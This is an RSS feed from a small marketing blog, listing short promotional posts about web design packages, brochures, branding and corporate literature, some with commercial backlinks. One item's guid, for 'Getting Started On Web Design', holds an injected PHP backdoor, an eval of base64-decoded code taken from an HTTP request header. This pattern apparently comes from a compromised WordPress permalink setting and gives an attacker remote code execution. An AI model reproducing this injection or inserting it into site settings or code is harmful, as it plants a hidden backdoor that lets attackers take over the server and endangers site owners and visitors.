<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Leslee Russell Talks &#187; graphic design</title>
	<atom:link href="http://lesleerussell.com/tag/graphic-design/feed" rel="self" type="application/rss+xml" />
	<link>http://lesleerussell.com</link>
	<description>we take email marketing to extremes...</description>
	<lastBuildDate>Fri, 10 Feb 2012 11:12:51 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>How To Choose The Website Design Package That Suits Your Needs</title>
		<link>http://lesleerussell.com/2011/06/17/how-to-choose-the-website-design-package-that-suits-your-needs/%</link>
		<comments>http://lesleerussell.com/2011/06/17/how-to-choose-the-website-design-package-that-suits-your-needs/%#comments</comments>
		<pubDate>Fri, 17 Jun 2011 07:54:06 +0000</pubDate>
		<dc:creator>Rosa Wade</dc:creator>
				<category><![CDATA[Marketing]]></category>
		<category><![CDATA[design]]></category>
		<category><![CDATA[graphic design]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://lesleerussell.com/2011/06/17/how-to-choose-the-website-design-package-that-suits-your-needs/%</guid>
		<description><![CDATA[The internet has certainly gained a lot of loyal followers. This is because of the endless possibility of things you can do online. You can pay your bills, apply for a loan or even buy your next pair of shoes. Because of this, more people have ventured into e-commerce. To start it, you may consider signing up for a <a href="www.touchwebdesigns.com/web-design">website design package</a>. This may be a convenient way for you to commence your online enterprise.]]></description>
		<wfw:commentRss>http://lesleerussell.com/2011/06/17/how-to-choose-the-website-design-package-that-suits-your-needs/%/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What Does Construction Have to Do With Branding?</title>
		<link>http://lesleerussell.com/2011/06/09/what-does-construction-have-to-do-with-branding/%</link>
		<comments>http://lesleerussell.com/2011/06/09/what-does-construction-have-to-do-with-branding/%#comments</comments>
		<pubDate>Thu, 09 Jun 2011 07:59:33 +0000</pubDate>
		<dc:creator>Dina Wasmer</dc:creator>
				<category><![CDATA[Marketing]]></category>
		<category><![CDATA[brand development]]></category>
		<category><![CDATA[Branding]]></category>
		<category><![CDATA[branding a middle-market business]]></category>
		<category><![CDATA[branding your small business]]></category>
		<category><![CDATA[graphic design]]></category>
		<category><![CDATA[marketing communications]]></category>
		<category><![CDATA[strategic positioning]]></category>

		<guid isPermaLink="false">http://lesleerussell.com/2011/06/09/what-does-construction-have-to-do-with-branding/%</guid>
		<description><![CDATA[Driving in downtown Baltimore has a lot to do with construction (and cursing), but what does construction have to do with branding?]]></description>
		<wfw:commentRss>http://lesleerussell.com/2011/06/09/what-does-construction-have-to-do-with-branding/%/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Graphic Design Can Make Your Site Look Fantastic</title>
		<link>http://lesleerussell.com/2011/02/02/graphic-design-can-make-your-site-look-fantastic/%</link>
		<comments>http://lesleerussell.com/2011/02/02/graphic-design-can-make-your-site-look-fantastic/%#comments</comments>
		<pubDate>Wed, 02 Feb 2011 08:35:14 +0000</pubDate>
		<dc:creator>Nathan Williams</dc:creator>
				<category><![CDATA[Marketing]]></category>
		<category><![CDATA[business]]></category>
		<category><![CDATA[computers]]></category>
		<category><![CDATA[graphic design]]></category>
		<category><![CDATA[web design]]></category>

		<guid isPermaLink="false">http://lesleerussell.com/2011/02/02/graphic-design-can-make-your-site-look-fantastic/%</guid>
		<description><![CDATA[Web page design is a domain that requires knowledge of different systems, computer handling, and recent advancements and trends going on in the field. To be good at graphic designing, a person needs to gain proper experience in it. Therefore, if looking to get a website design revamped, it's best to contact a professional designer.]]></description>
		<wfw:commentRss>http://lesleerussell.com/2011/02/02/graphic-design-can-make-your-site-look-fantastic/%/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Different Formats Of Brochures To Suit Your Business</title>
		<link>http://lesleerussell.com/2010/12/02/different-formats-of-brochures-to-suit-your-business/%</link>
		<comments>http://lesleerussell.com/2010/12/02/different-formats-of-brochures-to-suit-your-business/%#comments</comments>
		<pubDate>Thu, 02 Dec 2010 08:34:50 +0000</pubDate>
		<dc:creator>Marika  Harmon</dc:creator>
				<category><![CDATA[Marketing]]></category>
		<category><![CDATA[advertising]]></category>
		<category><![CDATA[brochure]]></category>
		<category><![CDATA[brochure design]]></category>
		<category><![CDATA[graphic design]]></category>
		<category><![CDATA[graphics]]></category>
		<category><![CDATA[marketing materials]]></category>

		<guid isPermaLink="false">http://lesleerussell.com/2010/12/02/different-formats-of-brochures-to-suit-your-business/%</guid>
		<description><![CDATA[Brochures play a precious function in marketing. They are used to inform the customers on the company's products and services being offered, featuring pictures and detailed product or service descriptions.]]></description>
		<wfw:commentRss>http://lesleerussell.com/2010/12/02/different-formats-of-brochures-to-suit-your-business/%/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Graphic Design: A Service Artform</title>
		<link>http://lesleerussell.com/2010/08/06/graphic-design-a-service-artform/%</link>
		<comments>http://lesleerussell.com/2010/08/06/graphic-design-a-service-artform/%#comments</comments>
		<pubDate>Fri, 06 Aug 2010 08:43:32 +0000</pubDate>
		<dc:creator>Henry Logan</dc:creator>
				<category><![CDATA[Marketing]]></category>
		<category><![CDATA[brochure]]></category>
		<category><![CDATA[brochure design]]></category>
		<category><![CDATA[business]]></category>
		<category><![CDATA[catalog]]></category>
		<category><![CDATA[design]]></category>
		<category><![CDATA[graphic design]]></category>
		<category><![CDATA[graphics]]></category>
		<category><![CDATA[packaging]]></category>

		<guid isPermaLink="false">http://lesleerussell.com/2010/08/06/graphic-design-a-service-artform/%</guid>
		<description><![CDATA[It has been said that art is anything that pleases the senses. Thus, a visually stirring design is an artwork. Although no one would seem to contradict this statement, designers - especially graphic designers - acknowledge the fact that it takes more than a visually appealing image to make a functional design.]]></description>
		<wfw:commentRss>http://lesleerussell.com/2010/08/06/graphic-design-a-service-artform/%/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Corporate Literature In Kent Should Clearly Define Your Company&#8217;s Image</title>
		<link>http://lesleerussell.com/2010/08/05/corporate-literature-in-kent-should-clearly-define-your-companys-image/%</link>
		<comments>http://lesleerussell.com/2010/08/05/corporate-literature-in-kent-should-clearly-define-your-companys-image/%#comments</comments>
		<pubDate>Thu, 05 Aug 2010 07:11:19 +0000</pubDate>
		<dc:creator>Mark Hall</dc:creator>
				<category><![CDATA[Marketing]]></category>
		<category><![CDATA[advertising]]></category>
		<category><![CDATA[business]]></category>
		<category><![CDATA[corporate]]></category>
		<category><![CDATA[design]]></category>
		<category><![CDATA[Designers]]></category>
		<category><![CDATA[graphic design]]></category>
		<category><![CDATA[leeds]]></category>

		<guid isPermaLink="false">http://lesleerussell.com/2010/08/05/corporate-literature-in-kent-should-clearly-define-your-companys-image/%</guid>
		<description><![CDATA[When designing <a href="http://englandagency.co.uk/corporate-literature">corporate literature in Kent</a>, there are some basic principles to be followed if you want to make an impact. It would therefore be in your interests to use a design house that specializes in corporate material. The layout, wording and graphics should present an appropriate overview of your company.]]></description>
		<wfw:commentRss>http://lesleerussell.com/2010/08/05/corporate-literature-in-kent-should-clearly-define-your-companys-image/%/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Getting Started On Web Design</title>
		<link>http://lesleerussell.com/2010/06/10/getting-started-on-web-design/%</link>
		<comments>http://lesleerussell.com/2010/06/10/getting-started-on-web-design/%#comments</comments>
		<pubDate>Thu, 10 Jun 2010 08:48:23 +0000</pubDate>
		<dc:creator>Adriana Noton</dc:creator>
				<category><![CDATA[Marketing]]></category>
		<category><![CDATA[career]]></category>
		<category><![CDATA[computers]]></category>
		<category><![CDATA[graphic design]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[sales]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[web design]]></category>
		<category><![CDATA[web development]]></category>
		<category><![CDATA[web hosting]]></category>

		<guid isPermaLink="false">http://lesleerussell.com/2010/06/10/getting-started-on-web-design/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[Many people out there think that web design is really hard. After all, there are thousands of programs out there to create web pages and millions of people going to expensive colleges every year just to learn all about web sites! However, things are not nearly as hard as you would think.]]></description>
		<wfw:commentRss>http://lesleerussell.com/2010/06/10/getting-started-on-web-design/%/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why You Require a Professional Brochure Designer for a Corporate Brochure</title>
		<link>http://lesleerussell.com/2010/02/04/why-you-require-a-professional-brochure-designer-for-a-corporate-brochure/%</link>
		<comments>http://lesleerussell.com/2010/02/04/why-you-require-a-professional-brochure-designer-for-a-corporate-brochure/%#comments</comments>
		<pubDate>Thu, 04 Feb 2010 08:21:23 +0000</pubDate>
		<dc:creator>Jacob Lee</dc:creator>
				<category><![CDATA[Marketing]]></category>
		<category><![CDATA[advertising]]></category>
		<category><![CDATA[brochure design]]></category>
		<category><![CDATA[business]]></category>
		<category><![CDATA[graphic design]]></category>
		<category><![CDATA[graphics]]></category>
		<category><![CDATA[packaging design]]></category>
		<category><![CDATA[product branding]]></category>

		<guid isPermaLink="false">http://lesleerussell.com/marketing/why-you-require-a-professional-brochure-designer-for-a-corporate-brochure/1465/</guid>
		<description><![CDATA[When you have a high quality offering but you are still not making money, it is time to reassess your customer strategy. A well designed company brochure can tell the customers about your offerings, and the benefits that they offer over others.]]></description>
		<wfw:commentRss>http://lesleerussell.com/2010/02/04/why-you-require-a-professional-brochure-designer-for-a-corporate-brochure/%/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Three Effective Brochure Design Tips</title>
		<link>http://lesleerussell.com/2010/01/22/some-simple-yet-effective-brochure-design-tips/%</link>
		<comments>http://lesleerussell.com/2010/01/22/some-simple-yet-effective-brochure-design-tips/%#comments</comments>
		<pubDate>Fri, 22 Jan 2010 08:34:44 +0000</pubDate>
		<dc:creator>Betty Wong</dc:creator>
				<category><![CDATA[Marketing]]></category>
		<category><![CDATA[advertising]]></category>
		<category><![CDATA[brochure]]></category>
		<category><![CDATA[brochure design]]></category>
		<category><![CDATA[graphic design]]></category>
		<category><![CDATA[graphics]]></category>
		<category><![CDATA[marketing materials]]></category>

		<guid isPermaLink="false">http://lesleerussell.com/marketing/some-simple-yet-effective-brochure-design-tips/1402/</guid>
		<description><![CDATA[Have you ever considered that a pamphlet can be one of the most potent of all your selling materials?]]></description>
		<wfw:commentRss>http://lesleerussell.com/2010/01/22/some-simple-yet-effective-brochure-design-tips/%/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Key Design Considerations For Developing A Catalog With Contemporary Graphics</title>
		<link>http://lesleerussell.com/2009/12/20/key-design-considerations-for-developing-a-catalog-with-contemporary-graphics/%</link>
		<comments>http://lesleerussell.com/2009/12/20/key-design-considerations-for-developing-a-catalog-with-contemporary-graphics/%#comments</comments>
		<pubDate>Sun, 20 Dec 2009 08:38:39 +0000</pubDate>
		<dc:creator>Dennis Smith</dc:creator>
				<category><![CDATA[Marketing]]></category>
		<category><![CDATA[advertising]]></category>
		<category><![CDATA[brochure design]]></category>
		<category><![CDATA[business]]></category>
		<category><![CDATA[catalog]]></category>
		<category><![CDATA[design]]></category>
		<category><![CDATA[graphic design]]></category>
		<category><![CDATA[packaging]]></category>

		<guid isPermaLink="false">http://lesleerussell.com/marketing/key-design-considerations-for-developing-a-catalog-with-contemporary-graphics/1245/</guid>
		<description><![CDATA[A catalog with appealing graphic design is like a mobile salesman, every bit as effective as an actual one. A potential consumer can take his time to decide upon purchasing a particular product after having consulted with his friends and relatives by using it. Hence the catalog should be printed and organized in such a way that consumers find it very appealing and are pulled towards the products printed on it.]]></description>
		<wfw:commentRss>http://lesleerussell.com/2009/12/20/key-design-considerations-for-developing-a-catalog-with-contemporary-graphics/%/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

